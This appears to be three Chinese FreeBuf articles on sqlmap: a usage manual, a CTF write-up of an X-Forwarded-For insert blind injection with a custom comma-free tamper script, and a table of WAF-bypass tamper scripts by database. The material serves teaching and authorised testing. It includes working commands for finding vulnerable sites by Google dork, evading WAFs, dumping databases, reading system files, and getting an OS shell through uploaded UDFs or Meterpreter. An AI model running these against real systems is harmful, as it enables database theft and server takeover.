0X00 背景

写这篇技术文有两个诱因,一是大菲兄弟@大菲哥和朋友从国外买了一篇二十美刀的XSS文章,做了翻译,自古XSS和sql注入是倚天屠龙的对立统一关系,所以有朋友说想看一看sql注入的文章。

二是大概一年前一朋友对sqlmap的使用除了-u参数几乎一无所知,让我给做了个使用手册,刚好拿出来在此基础上进行完善和优化。

我本人是owasp北京分会的负责人,owasp的top10几乎一直是sql注入独揽第一,所以也想就这个机会把sql注入好好给大家聊一聊,本文也参考了众多前辈的经验,在这里向每个奉献、开源的前辈说一声感谢。

有些朋友说想让聊聊手工注入,首先我个人手工注入技巧不是很好,再者手工注入需要一定的技术积累和编程底子,受众有限,后期有机会再深入谈。我个人在渗透上的看法是工具是人类进步的象征,工具的使用绝对是自动化、智能化和量化不可或缺的内容,当然,工具毕竟是死的,好的安全人肯定是左手自动化右手人工。

0X01 SqlMap介绍及分析

SQLMAP是一种开源渗透测试工具,可自动执行SQL注入缺陷的检测和开发过程,并接管数据库服务器。它有强大的检测引擎,针对不同类型的数据库提供多样的渗透测试功能选项,实现数据库识别、数据获取、访问DBMS\操作系统甚至通过带外数据连接的方式执行操作系统的命令。,以及从数据库指纹识别、从数据库获取数据、访问底层文件的广泛范围的交换机通过带外连接在操作系统上执行命令.

sqlmap is anopen source penetration testing tool that automates the process of detectingand exploiting SQL injection flaws and taking over of database servers. Itcomes with a powerful detection engine, many niche features for the ultimatepenetration tester and a broad range of switches lasting from database fingerprinting,over data fetching from the database, to accessing the underlying file systemand executing commands on the operating system via out-of-band connections.(源于官方介绍)

SQLMAP支持的数据包括:MySQL, Oracle,PostgreSQL,Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库。

SQLMAP目前支持的注入方式包括(默认全进行):

l   B: Boolean-based blind SQL injection(布尔型注入)

l   E: Error-based SQL injection(报错型注入)

l   U: UNION query SQL injection(可联合查询注入)

l   S: Stacked queries SQL injection(可多语句查询注入)

l   T: Time-based blind SQL injection(基于时间延迟注入)

l   Q: Inline SQL Injection  (内联注入)

SQLMAP 分析:

SQLMAP的功能模块参数由几大类构成(见下表),分别是:  

Target:At least one of these options has to be provided to define the target(s) 目标:至少为目标提供一个选项
Request:These options can be used to specify how to connect to the target URL 请求:这些选项用于指定如何连接目标URL的方法
Optimization:These options can be used to optimize the performance of sqlmap 优化:这些选项用来优化sqlmap的性能
Injection:These options can be used to specify which parameters to test for, 注入:这些选项用于指定测试那些参数,提供注入payload和篡改脚本
Detection:These options can be used to customize the detection phase 侦测:这些选项用于侦测阶段的定制化
Techniques:These options can be used to tweak testing of specific SQL injection  techniques 技巧:这些选项用于调整特定sql注入技术的技巧
Enumeration:These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements 枚举:这些选项可用于枚举后端数据库管理系统信息、表里的数据接口,此外还可以运行你的sql语句
Brute force:These options can be used to run brute force checks 暴力执行:这些选项用于暴力检查
User-defined function injection:These options can be used to create custom user-defined functions 用户定义注入函数:这些选项用于建立用户定义函数
File system access:These options can be used to access the back-end database management system underlying file system 访问文件系统:这些选项用于访问后端数据库管理系统的底层文件系统
Operating system access:These options can be used to access the back-end database management system underlying operating system 操作系统连接:这些选项用于连接后端DBMS底层的os
Windows registry access:These options can be used to access the back-end database management system Windows registry windows 注册表连接:这些选项用于连接后端DBMS的windows 注册表
General: These options can be used to set some general working parameters 通用:这些选项用于设置一些通用参数

SQLMAP下载及学习地址:

下载:.tar.gz或者.zip

Homepage:  http://sqlmap.org  

CommitsRSS学习地址:

feed:https://github.com/sqlmapproject/sqlmap/commits/master.atom

Issue tracker:https://github.com/sqlmapproject/sqlmap/issues

User’s manual:https://github.com/sqlmapproject/sqlmap/wiki

(FAQ):https://github.com/sqlmapproject/sqlmap/wiki/FAQ

Twitter:@sqlmap

Demos:http://www.youtube.com/user/inquisb/videos

Screenshots:https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

0X02 Sqlmap使用经验总结

以下参数在进行SQL注入时配置恰当会使得注入攻击事半功倍。以下是笔者对SQLmap 使用的经验总结:

1 在使用-v参数的时候,尽量选择,3级别,次级别可以显示注入的参数。 例如:sqlmap -v3 -u www.potian.com
2 当一件知道数据库信息的时候,使用-d直接连接数据库,注意-D是指定目标库,要区分。
例如:-d mysql://POTIAN : 123123 @127.0.0.1:3306/ ORDER
3 当使用Burp或WebScarab保存了日志的时候,想从日志文件中筛选目标,可使用-I使用 绝对路径地址即可。
4 -g可以使用google的搜索结果,例如,直接搜索uid=,查找具有此参数的站点,直接使用sqlmap调用google结果,例:sqlmap -g inurl:php?uid=。(收集了一些语句,在附表)当需要使用-g inurl:php?uid=等参数时,默认无法访问,可使用此参数+海外代理方式使用此功能。当代理需要验证的时候,使用-cre指定身份信息,需要使用代理轮巡时,使用文件加载代理设置列表,使用代理轮询也可在对访问ip次数进行了验证的场景使用。(鉴于我国国情,不建议使用)
5 服务端允许的情况下,–method改变默认的http方法,和其他参数配合使用,例如–data,改变为post然后推送数据。  
6 默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/*.*-dev-xxxxxxx(http://sqlmap.org) 可以使用–user-agent参数来指定想使用的UA,同时也可以使用–random-agent参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入.另外UA是绕过waf的参数,–user-agent= –random-agent这两个参数可对waf针对恶意ua的防控进行绕过。  
7 指定http请求中的header里的host参数、在请求中伪造referer,有些waf和安全产品等会对refer进行限制,仅允许本站referer,当waf参数对referer进行了限制后,可使用此参数进行绕过。当–level参数设定为3或者3以上的时候会尝试对referer注入指定其他的header信息,XFF等,例如strust2-045使用了Content-Type  
8 HTTP代理身份验证凭据,可自动使用username:password和秘钥文件,例如有些访问会使用key文件,集团sso最爱出现此种场景,在这种身份验证凭据的需求中,也可使用-I参数使用burp等代理记录文件来使用身份凭据
9 设置http请求间隔时间,在绕过需求时使用,例如单ip单位时间访问多少次,可配合代理和多代理参数使用。超时连接后的尝试间隔,默认30s,可手动调整,一般–timeout和–retries配合使用  
10 有的网站会对提交的参数进行编码或加密,这时候需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。
例子:–eval=”"import hashlib;hash=hashlib.md5(id).hexdigest()”"上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。”  
11 sqlmap默认测试所有的GET和POST参数,上文提到过,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值。这时候可以手动指定-p参数设置想要测试的参数。 例如:-p “”id,cookie”"但是有个别参数不想测试的时候可以使用–skip=“user-agent”参数。
12 数值处理:参数:–invalid-bignum –invalid-logical这两个参数对报错数据、无效数据进行更改,例如默认报错UID=-20,可以通过制定以上参数制定无效的大数字和逻辑,比如uid=999999999和uid=20 and a=b
参数:–prefix,–suffix在注入的payload的前面或者后面加一些字符,来保证payload的正常执行,例如在语句中增加–prefix “”’)”" –suffix “”AND (’1’=’1″”
13 –tamper可从tamper库里查找相关内容,使用–tamper tamper/*.py方式指定
14 上文多次解释–level对测试参数的影响,一共有五个等级,默认为1,sqlmap使用的payload可以在payloads.xml中看到,你也可以根据相应的格式添加自己的payload内容,默认也有一些,可定制。
–level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值,建议最高级别,会更慢、测试参数更复杂。
15 risk从0-3共有四个风险等级,默认是1,risk1会测试大部分的测试语句,risk2会增加基于事件的测试语句,3会增加OR语句的注入测试。测试的语句同样可以在payloads.xml中找到,可以自行添加payload。
警告:当使用高级别时,可能会使用drop、update等高危语句对整表、整库造成影响,可能导致更新的整个表,可能造成很大的风险。
16 “sqlmap测试结果取决于返回内容,当页面在刷新或更新后,可能导致返回不同的内容,特别是页面有动态内容的情况下。为了避免误报,可指定字符串或者正则表达式来区分原始页面和报错页面(–string参数添加字符串,–regexp添加正则),也可以提供一段字符串在原始页面与true下的页面都不存在的字符串,而false页面中存在的字符串(–not-string添加)。
用户也可以提供true与false返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,–code=200。
17 默认sqlmap会把BEUSTQ六中注入方式全来一遍,可根据实际情况进行调整,例如可使用时间延迟,看网站响应时间来判断是否有注入,可根据报错判断注入。如果不是很懂,就不用管,虽然时间长点,但很全面。
B:Boolean-based blind SQL injection(布尔型注入)
E:Error-based SQL injection(报错型注入)
U:UNION query SQL injection(可联合查询注入)
S:Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
Q: Inline SQL Injection  (内联注入)
当使用基于时间延迟注入的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒,可以根据环境记性调整,比如网络延迟很大,可适当增加延时时间  
18 –union-cols设定的值为一段整数范围,制定区间,此数值默认为1-10,随着–levle增加,当为5的时候增加为50,当level级别和取值范围不匹配,在低级别需求更大的范围,可通过设定–union-cols的值来实现。设定union查询使用的字符,默认使用NULL,但是可能会返回失败,–union-char指定UNION查询的字符。指定查询的表,配合上文暴力破解的字符、范围等来详细使用。  
19 在一旦注入成功且获得精确信息通过以下详细参数来指定检索、枚举动作和动作执行对象:检索DBMS的指纹特征、数据库、host值、用户身份、并对用户、密码、权限、角色进行枚举也就是爆破。然后尝试枚举数据库、数据库里的表、数据库里的内容、可以使用count来统计条目等操作。dump和dump-all就是脱裤和全脱的区别,dump某表的十条八条可能没事儿,dump-all注定要浪迹天涯,也就是所谓的从脱裤到跑路的开始,通过-D\-T\-C来制定索要枚举的库、表、和列,使用-X来排除不想要的列,特别是有多列且有无意义字段的时候,使用-X可大大节省时间。 –exclude-sysdbs参数,将不会获取数据库自带的系统库内容,可减少干扰内容,对-count的使用和枚举信息的使用建议搭配此参数来排除系统库。
当我们不想跑路的时候,那么请使用下面内容:    
–start=LIMITSTART  First query output entry to retrieve指定从第几行开始输出,如:
–start=1    
–stop=LIMITSTOP   
Last query output entry to retrieve
指定从第几行停止输出
–stop=10 
–first=FIRSTCHAR  
First query output word character to retrieve
指定从第几个字符开始输出
–first 1    
–last=LASTCHAR
Last query output word character to retrieve
指定从第几个字符停止输出–last10
20 暴力检查:猜测检查常见的、通用的表名和列名,可通过下面两个文件进行定制化,暴力破解的表在txt/common-tables.txt文件中,暴力破解的列名在txt/common-columns.txt中
21 对文件系统、操作系统的交互和使用必须需要相应的权限,前面提到要求具有特定的函数执行特权,一般要求root。针对文件系统的读写:对–file-read配置绝对系统路径,可读取相应文件内容,可以是文本,也可以是二进制,条件是必须拥有相对应特权,已知的是mysql、postgresql和sqlserver。写入也是同样,往远端后台的DBMS里写入一个本地文件,可通过–file-dest指定绝对文件路径。” 当然和上面可以配合使用,当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。然后通过上面的文件系统管理上传一个库,使用可执行系统命令的sys_exec()和sys_eval(),甚至xp_cmdshell存储过程 –os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。 Meterpreter配合使用 –os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path配合Meterpreter使用,当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,四种方式执行它:
1.通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:–os-pwn。
2.通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:–os-pwn。
3.通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),–os-smbrelay。
4.通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:–os-bof。
22 所见即所得,注册表连接指的是windows系统,相信大家都有windows系统知识,不懂注册表基本就不懂windows系统,所有的windows系统配置在注册表里都可实现,比如开启远程连接、比如新建用户、比如组策略配置、比如防火墙等等,reg可对注册表内容进行读取、编辑、和删除,上面和下面相配合可实现对指定的key、value、data和类型进行操作。  
23 –batch
在使用sqlmap时,有时一些响应需要用户交互,输入Y、N、skip、quit等,使用此选项可使用默认配置。
–output-dir= 
指定输出路径,方式控制台输出过多,无法查看,也方便记录
–gpage=GOOGLEPAGE
好像默认是使用google搜索的前100个文件,当使用前面的-g参数,配合此参数指定页面
–identify-waf 
进行WAF/IPS/IDS保护测试,目前大约支持30种产品的识别
–mobile
使用移动产品UA,把sqlmap伪装成手机,也可使用前面的
-user-agent
自己指定
–smart 
智能深度启发式扫描,或许会有惊喜呢。
 –wizard 和上面的完全不同,纯新手选择,一步步让你输入url等参数,基本输入个url就行。

0X03 Sqlmap实操语句

1 手工基本检测和判断(在注入点使用or、and等可判断是否有注入点)   原始网页:http://www.potian.com/mysql/product/user_info.php?uid=1 024
构造url1:http://www.potian.com/mysql/product/user_info.php?uid=1 024+AND+1=1
构造url2:http://www.potian.com/mysql/product/user_info.php?uid=1 024+AND+1=1 025  
2 基础检测语法 sqlmap.py -u  http://www.potian.com/mysql/product/user_info.php?uid=1 024  
3 批量检测 “sqlmap.py -m target.txt”,注意target.txt跟sqlmap在同一个目录下。  
4 绕过WAF进行SQL注入   (1)修改\sqlmap\tamper\halfversionedmorekeywords.py return match.group().replace(word, ”/*!0%s” % word) 为:return match.group().replace(word, ”/*!50000%s*/” % word)
(2)修改\sqlmap\xml\queries.xml <cast query= ”CAST(%s ASCHAR)”/>为:<castquery= ”convert(%s,CHAR)”/>
(3)使用sqlmap进行注入测试sqlmap.py -u ”http://www.potian.com/detail.php? id=16″ –tamper “halfversionedmorekeywords.py”
其它绕过waf脚本方法:sqlmap.py-u “ http://www.potian.com/mysql/product/user_info.php?uid=1 024” –tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
(4)tamper目录下文件具体含义:
space2comment.py
用/**/代替空格
apostrophemask.py
用utf8代替引号
equaltolike.pylike
代替等号
space2dash.py
绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)
greatest.py
绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py
空格替换为#号,随机字符串以及换行符
apostrophenullencode.py
绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py
当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py
空格替换为#号
以及更多随机字符串
换行符
appendnullbyte.py
 在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py
绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’ space2mssqlblank.py(mssql) 空格替换为其它空符号
base64encode.py
用base64编码替换
space2mssqlhash.py
替换空格
modsecurityversioned.py
过滤空格,包含完整的查询版本注释
space2mysqlblank.py
空格替换其它空白符号(mysql)
between.py
用between替换大于号(>)
space2mysqldash.py
替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py
围绕SQL关键字添加多个空格
space2plus.py
用+替换空格
bluecoat.py
代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
nonrecursivereplacement.py
双重查询语句,取代SQL关键字
space2randomblank.py
代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py
追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py
双url编码(不处理以编码的)
unionalltounion.py
替换UNION ALLSELECT UNION SELECT
charencode.py
url编码
randomcase.py
 随机大小写
unmagicquotes.py
宽字符绕过
GPCaddslashes randomcomments.py
用/**/分割sql关键字
charunicodeencode.py
字符串unicode编码
securesphere.py
追加特制的字符串
versionedmorekeywords.py
注释绕过 space2comment.py
替换空格字符串(‘‘) 使用注释‘/**/’
halfversionedmorekeywords.py
 关键字前加注释  
5 URL重写SQL注入测试   value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。 sqlmap.py -u ” http://www.potian.com/param1/value1 */param2/value2/”
6 列举并破解密码哈希值   当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。 sqlmap.py -u ” http://www.potian.com/sqlmap/pgsql/get_int.php?id=1 ” –passwords -v1  
7 获取表中的数据个数   sqlmap.py -u ” http://www.potian.com/sqlmap/mssql/iis/get_int.asp?id=1 ” –count -Dtestdb  
8 站点爬取 sqlmap.py -u “ http://www.secbang.com “–batch –crawl=3  
9 注入时间预估(基于布尔) sqlmap.py -u “ http://www.secbang.com/sqlmap/oracle/get_int_bool.php?id=1 “-b –eta  
10 使用hex避免字符编码导致数据丢失   sqlmap.py -u “ http://www.secbang.com/pgsql/get_int.php?id=1 ” –banner –hex -v 3 –parse-errors  
11 模拟测试手机环境站点   python sqlmap.py -u ” http://www.secbang.com/vuln.php?id=1 ” –mobile  
12 智能判断测试   sqlmap.py -u “ http://www.secbang.com/info.php?id=1 “–batch –smart  
13 结合burpsuite进行注入 sqlmap.py -r burpsuite 抓包.txt  
14 sqlmap 自动填写表单注入 sqlmap.py -u URL –forms sqlmap.py -u URL –forms –dbs sqlmap.py -u URL –forms –current-db sqlmap.py -u URL –forms -D 数据库名称–tables sqlmap.py -u URL –forms -D 数据库名称 -T 表名 –columns sqlmap.py -u URL –forms -D 数据库名称 -T 表名 -Cusername,password –dump  
15 读取linux下文件 sqlmap.py-u “url” –file /etc/password  
16 sqlmap cookies 注入 sqlmap.py -u “ http://www.potian.com/mysql/product/user_info.php?uid=1 024“–cookies “ssuid=*″  –dbs –level 3 sqlmap.py -u 注入点URL –cookie”id=xx” –level 3 sqlmap.py -u url –cookie “id=xx”–level 3 –tables( 猜表名) sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 –coiumns sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 -C username,password –dump  
17 连接mysql数据打开一个交互shell sqlmap.py -dmysql://potian:[email protected]www.potian.com:3306/sqlmap –sql-shell select @@version; select @@plugin_dir;  
18 利用sqlmap上传lib_mysqludf_sys到MySQL插件目录 sqlmap.py -dmysql://potian:[email protected]www.potian.com:3306/sqlmap –file-write=d:/tmp/lib_mysqludf_sys.dll–file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll CREATE FUNCTION sys_exec RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ CREATE FUNCTION sys_eval RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ select sys_eval(‘ver’);  
19 执行shell命令 sqlmap.py -u “url” –os-cmd=”netuser” /*执行net user命令*/ sqlmap.py -u “url” –os-shell /*系统交互的shell*/  
20 延时注入 sqlmap –dbs -u”url” –delay 0.5 /* 延时0.5秒*/ sqlmap –dbs -u”url” –safe-freq /* 请求2次*/  

0X04 结束语

Sql注入并不只是对数据库的攻击行为,在整个攻击链条涉及到对操作系统、注册表、系统文件、脚本、插件控件、数据、数据库相关等的覆盖,注入用的好,爱人回家早。

仅以此文献给每一个奉献自己知识的朋友和前辈,以上是笔者从业十余年积累的一些经验写出来共享给大家,谢谢你对破天、对freebuf的关注。

see you.

*本文作者:破天·张坤,转载请注明来自FreeBuf.COM

*本文原创作者:Conan,本文属 FreeBuf 原创奖励计划,未经许可禁止转载

前言

本篇文章是在做ctf bugku的一道sql insert盲注的题(题目地址:insert盲注)中踩到的坑,觉得还挺有趣的,于是便有了今天的文章,如有纰漏还望大佬们多多指正。    

进入主题

1. 判断注入点明显的insert类型的注入,注入点在X-Forwarded-For,但关闭了错误提示并且没有回显,因此只能进行时间盲注获取flag。        

2. 使用sqlmap获取数据(首先说明一下,网上有这道题的writeup,编写python脚本暴库,但懒人表示能sqlmap就sqlmap吧,虽然可能需要踩坑。)

(1)直接使用sqlmap看看能否判断

python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --dbms MySQL

可以看到sqlmap识别为false positive,原因是图片中箭头所指的payload: 

' OR 6634=IF((58=58),SLEEP(5),6634) AND 'GTiD'='GTiD

中使用了逗号(,),而insert注入中使用了逗号则会破坏语句结构,因此这里相当于过滤了逗号。

(2)编写tamper脚本(if2casewhen.py)改写IF类型的判断为CASE-WHEN可以不使用逗号。

看了一遍tamper脚本发现没有这个改写规则,于是就只能自立更生了。

#!/usr/bin/env python

"""
Author: Conan0xff
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces instances like 'IF(A,B,C)' with 'CASE WHEN (A) THEN (B) ELSE (C) END' counterpart

    Requirement:
        * MySQL
        * SQLite (possibly)
        * SAP MaxDB (possibly)

    Tested against:
        * MySQL 5.0 and 5.5

    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that filter the IFNULL() functions

    >>> tamper('IF(1=1,1,2)')
    'CASE WHEN (1=1) THEN (1) ELSE (2) END'
    """

    if payload and payload.find("IF") > -1:
        while payload.find("IF(") > -1:
            index = payload.find("IF(")
            depth = 1
            comma1,comma2, end =None, None, None

            for i in xrange(index + len("IF("), len(payload)):
                if depth == 1 and payload[i] == ',' and comma1 is None:
                    comma1 = i
                
                #the seccond comma
                if depth == 1 and payload[i] == ',' and comma1 is not None:
                    comma2 = i

                elif depth == 1 and payload[i] == ')':
                    end = i
                    break

                elif payload[i] == '(':
                    depth += 1

                elif payload[i] == ')':
                    depth -= 1

            if comma1 and comma2 and end:
                _ = payload[index + len("IF("):comma1]
                __= payload[comma1+1:comma2]
                ___ = payload[comma2 + 1:end].lstrip()
                newVal = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)" % (_, __, ___)
                payload = payload[:index] + newVal + payload[end + 1:]
            else:
                break

    return payload

使用tamper再跑一遍

python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --dbms MySQL --tamper if2casewhen

可以看到成功识别为vulnerable,payload中的if语句也成功转换为case-when语句。

(3)试试看跑数据库呢

python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --dbms MySQL --tamper if2casewhen --dbs

可以看到由于使用了函数mid 和 ifnull也需要用到逗号,因此无法获取数据库名,所幸sqlmap的tamper脚本里有了可以不使用逗号的mid和ifnull的改写规则:

ifnull2casewhenisnull.py: MID(VERSION(), 1, 1)  ====> MID(VERSION() FROM 1 FOR 1)     

commalessmid.py: IFNULL(1, 2)  ====> CASE WHEN ISNULL(1) THEN (2) ELSE (1) END    

添加上述两个tamper再跑一次看看

python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --tamper if2casewhen,ifnull2casewhenisnull,commalessmid --dbms MySQL --dbs --nocast

可以看到成功跑出数据库 web15

(4)试试看跑表

python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --tamper if2casewhen,ifnull2casewhenisnull,commalessmid -D web15 --tables MySQL --dbs --nocast

使用爆破的方式跑表成功爆出两张表

(5)跑flag表的列以及数据

python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --tamper if2casewhen,ifnull2casewhenisnull,commalessmid -D web15 -T flag --dump MySQL --dbs --nocast

可以看到爆破除了列名,但由于limit使用了逗号也导致了无法获取列数据,sqlmap tamper中还有么?

没错,就是commalesslimit.py,改写规则如下:

LIMIT 2, 3 ====> LIMIT 3 OFFSET 2    

加上该tamper再跑一次

python sqlmap.py -r testfiles/xtest2 -v 3 --technique T --level 3 --risk 3 --tamper if2casewhen,ifnull2casewhenisnull,commalessmid,commalesslimit -D web15 -T flag --dump MySQL --dbs --nocast

可以看到成功注出flag。

总结

insert注入其实也是可以sqlmap一把梭的,关键看payload的定制和改写=。=

*本文原创作者:Conan,本文属 FreeBuf 原创奖励计划,未经许可禁止转载

sqlmap是一款人见人爱的自动化SQL渗透工具,能够以良好的引擎发现给定URL中的可注入处,并自动化的完成注入。但是由于SQL注入的影响过于广泛,致使现代程序的防护越来越严密。sqlmap/tamper是官方给出的一些绕过脚本,可以配合渗透测试人员完成更高效更高质量的测试。

本文共分为三个部分,第一部分简要对tamper进行介绍,以及为何要使用它,如何使用;第二部分给出当前最新版本(1.2.7-26)的官方sqlmap提供的tamper脚本,第三部分以数据库为区分,给出相应数据库可使用的tamper脚本,以便使用。

Part 1

【为什么】WAF,Web Application Firewall,即网站应用级入侵防御系统,通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护,有很强的输入验证功能,通过一定的判断机制检测输入的内容是否含有非法攻击语句。

为了绕过输入验证,达到预期的SQL注入目标,须对原本SQL语句进行同义改写,这种改写在很多情况下是莫名其妙的,但就是这莫名其妙的语句可以通过严密的WAF防守,达到数据库层面。更为神奇的是,数据库可以执行这段看似奇怪的SQL语句,实现预期的攻击。

【怎么做】当原始注入遇到困难时,可尝试加载相应脚本,进行绕过,说不定会有意外惊喜。在sqlmap的原命令中加入以下代码,即可使用脚本,进行更加强有力的渗透。

--tamper“脚本名称”

Part 2

sqlmap版本当前为1.2.7.20,共有57个tamper脚本,与1.0版本相比新增了19个脚本。

序号 脚本名称 注释
1 0x2char 将每个编码后的字符转换为等价表达
2 apostrophemask 单引号替换为Utf8字符
3 apostrophenullencode 替换双引号为%00%27
4 appendnullbyte 有效代码后添加%00
5 base64encode 使用base64编码
6 between 比较符替换为between
7 bluecoat 空格替换为随机空白字符,等号替换为like
8 chardoubleencode 双url编码
9 charencode 将url编码
10 charunicodeencode 使用unicode编码
11 charunicodeescape 以指定的payload反向编码未编码的字符
12 commalesslimit 改变limit语句的写法
13 commalessmid 改变mid语句的写法
14 commentbeforeparentheses 在括号前加内联注释
15 concat2concatws 替换CONCAT为CONCAT_WS
16 equaltolike 等号替换为like
17 escapequotes 双引号替换为\\\\
18 greatest 大于号替换为greatest
19 halfversionedmorekeywords 在每个关键字前加注释
20 htmlencode html编码所有非字母和数字的字符
21 ifnull2casewhenisnull 改变ifnull语句的写法
22 ifnull2ifisnull 替换ifnull为if(isnull(A))
23 informationschemacomment 标示符后添加注释
24 least 替换大于号为least
25 lowercase 全部替换为小写值
26 modsecurityversioned 空格替换为查询版本的注释
27 modsecurityzeroversioned 添加完整的查询版本的注释
28 multiplespaces 添加多个空格
29 nonrecursivereplacement 替换预定义的关键字
30 overlongutf8 将所有字符转义为utf8
31 overlongutf8more 以指定的payload转换所有字符
32 percentage 每个字符前添加%
33 plus2concat 将加号替换为concat函数
34 plus2fnconcat 将加号替换为ODBC函数{fn CONCAT()}
35 randomcase 字符大小写随机替换
36 randomcomments /**/分割关键字
37 securesphere 添加某字符串
38 sp_password 追加sp_password字符串
39 space2comment 空格替换为/**/
40 space2dash 空格替换为–加随机字符
41 space2hash 空格替换为#加随机字符
42 space2morecomment 空格替换为/**_**/
43 space2morehash 空格替换为#加随机字符及换行符
44 space2mssqlblank 空格替换为其他空符号
45 space2mssqlhash 空格替换为%23%0A
46 space2mysqlblank 空格替换为其他空白符号
47 space2mysqldash 空格替换为–%0A
48 space2plus 空格替换为加号
49 space2randomblank 空格替换为备选字符集中的随机字符
50 symboliclogical AND和OR替换为&&和||
51 unionalltounion union all select替换为union select
52 unmagicquotes 宽字符绕过GPC
53 uppercase 全部替换为大写值
54 varnish 添加HTTP头
55 versionedkeywords 用注释封装每个非函数的关键字
56 versionedmorekeywords 使用注释绕过
57 xforwardedfor 添加伪造的HTTP头

Part 3

下面以数据库为区分,给出每种数据库可供选择的tamper。若同一脚本适用不同数据库,则在每个数据库中都指出。

【MySQL】

版本 可用tamper编号 脚本名称
4/5.0/5.5 1 0x2char
6 between
9 charencode
16 concat2concatws
18 greatest
24 least
25 lowercase
35 randomcase
39 space2comment
49 space2randomblank
53 uppercase
5.1 7 bluecoat
46 space2mysqlblank
5.0/5.5 12 commalesslimit
13 commalessmid
21 ifnull2casewhenisnull
22 ifnull2ifisnull
42 space2morecomment
5.0 15 concat2concatws
26 modsecurityversioned
27 modsecurityzeroversioned
4.0/5.0 41 space2hash
5.1.56 10 charunicodeencode
5.1.56/5.5.11 32 percentage
56 versionedmorekeywords
4.0.18/5.0.22 19 halfversionedmorekeywords
4.0.18/5.1.56/5.5.11 55 versionedkeywords
5.1.41 43 space2morehash
未指定版本 14 commentbeforeparentheses
40 space2dash
45 space2mssqlhash
47 space2mysqldash

【SQLServer】

版本 可用tamper编号 脚本名称
2005/2000 10 charunicodeencode
32 percentage
44 space2mssqlblank
2005 6 between
9 charencode
16 equaltolike
25 lowercase
35 randomcase
39 space2comment
49 space2randomblank
53 uppercase
2002+ 33 plus2concat
2008+ 34 plus2fnconcat
未指定 14 commentbeforeparentheses

 【Access】

版本 可用tamper编号 脚本名称
未指定 4 appendnullbyte

 【Oracle】

版本 可用tamper编号 脚本名称
10g 6 between
9 charencode
14 commentbeforeparentheses
18 greatest
24 least
25 lowercase
35 randomcase
39 space2comment
49 space2randomblank
53 uppercase

 【PostgreSQL】

版本 可用tamper编号 脚本名称
8.3/8.4/9.0 6 between
9 charencode
18 greatest
24 least
25 lowercase
39 space2comment
49 space2randomblank
53 uppercase
9.0 32 percentage
9.0.3 10 charunicodeencode
未指定 14 commentbeforeparentheses
35 randomcase

 【MSSQL】

版本 可用tamper编号 脚本名称
未指定 38 sp_password

 【SQLite】

版本 可用tamper编号 脚本名称
未指定 40 space2dash

 【未知适用范围】

若以上脚本未解决问题,可尝试使用一下脚本。

版本 可用tamper编号 脚本名称
  2 apostrophemask
3 apostrophenullencode
5 base64encode
8 chardoubleencode
11 charunicodeescape
17 escapequotes
20 htmlencode
23 informationschemacomment
28 multiplespaces
29 nonrecursivereplacement
30 overlongutf8
31 overlongutf8more
